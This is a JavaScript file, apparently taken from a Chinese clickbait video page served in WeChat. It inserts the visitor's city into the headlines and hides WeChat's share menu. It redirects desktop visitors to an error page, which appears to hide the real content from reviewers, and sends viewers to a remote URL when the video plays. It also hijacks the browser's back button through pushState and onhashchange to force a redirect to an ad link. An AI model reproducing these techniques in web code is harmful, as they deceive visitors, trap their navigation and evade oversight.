// https://juqiang.oss-cn-beijing.aliyuncs.com/video_2s/20b.js?t=1545711016285&_=1545710832610
var address = localAddress.city ? localAddress.city : (localAddress.province ? localAddress.province : '湖南');
var city = address.replace(/(.*)市/,'$1');
city = city.replace(/(.*)省/,'$1');
var t = $('.h3').text();
var res = t.replace(/{city}/,city);
$('.h3').text(res);
document.title = res;
$('li').each(function (index) {
    $(this).html($(this).html().replace(/{city}/,city));
});
if (typeof WeixinJSBridge == "undefined") {
    if (document.addEventListener) {
        document.addEventListener('WeixinJSBridgeReady', onBridgeReady, false);
    } else if (document.attachEvent) {
        document.attachEvent('WeixinJSBridgeReady', onBridgeReady);
        document.attachEvent('onWeixinJSBridgeReady', onBridgeReady);
    }
} else {
    onBridgeReady();
}
function onBridgeReady() {
    WeixinJSBridge.call('hideOptionMenu');
}
//智障问题
if(obj.iswechat  == 1){
    var system = {win: false,mac: false,xll: false};
    var p = navigator.platform;
    system.win = p.indexOf("Win") == 0;
    system.mac = p.indexOf("Mac") == 0;
    system.x11 = (p == "X11") || (p.indexOf("Linux") == 0);
    if (system.win || system.mac) {
        location.href = obj.error;
    }
}
$.getScript('/js/v.js',function () {
    var _PlayVideo = new NewTxplayer({
        modId:obj.modId,
        vid:obj.vid,
        currtime:obj.currtime,
        story:obj.story
    });
    _PlayVideo.PlayStart = function () {
        $.getJSON(obj.apic+obj.id,function (e) {
            location.href = e.v;
        });
        // location.href  = obj.c;
    };
    _PlayVideo.playNext = function () {
        //  alert('播放完了');
    };
});
$('li').on('click',function () {
    location.href = obj.b.replace(/{id}/,$(this).attr('data-id'));
});
console.log(obj.advapi);
$.getJSON(obj.advapi+'/520',function (e) {
    setTimeout(function(){
        history.pushState(history.length + 1, "message", "#" + new Date().getTime());
    },200);
    window.onhashchange = function() {
        if (e.url) {
            location.href = e.url+'&pk=video';
        }
    };
    document.getElementById('gax').setAttribute('href',e.url);
    document.getElementById('fanhui').onclick = function () {
        location.href = e.url;
    };
});
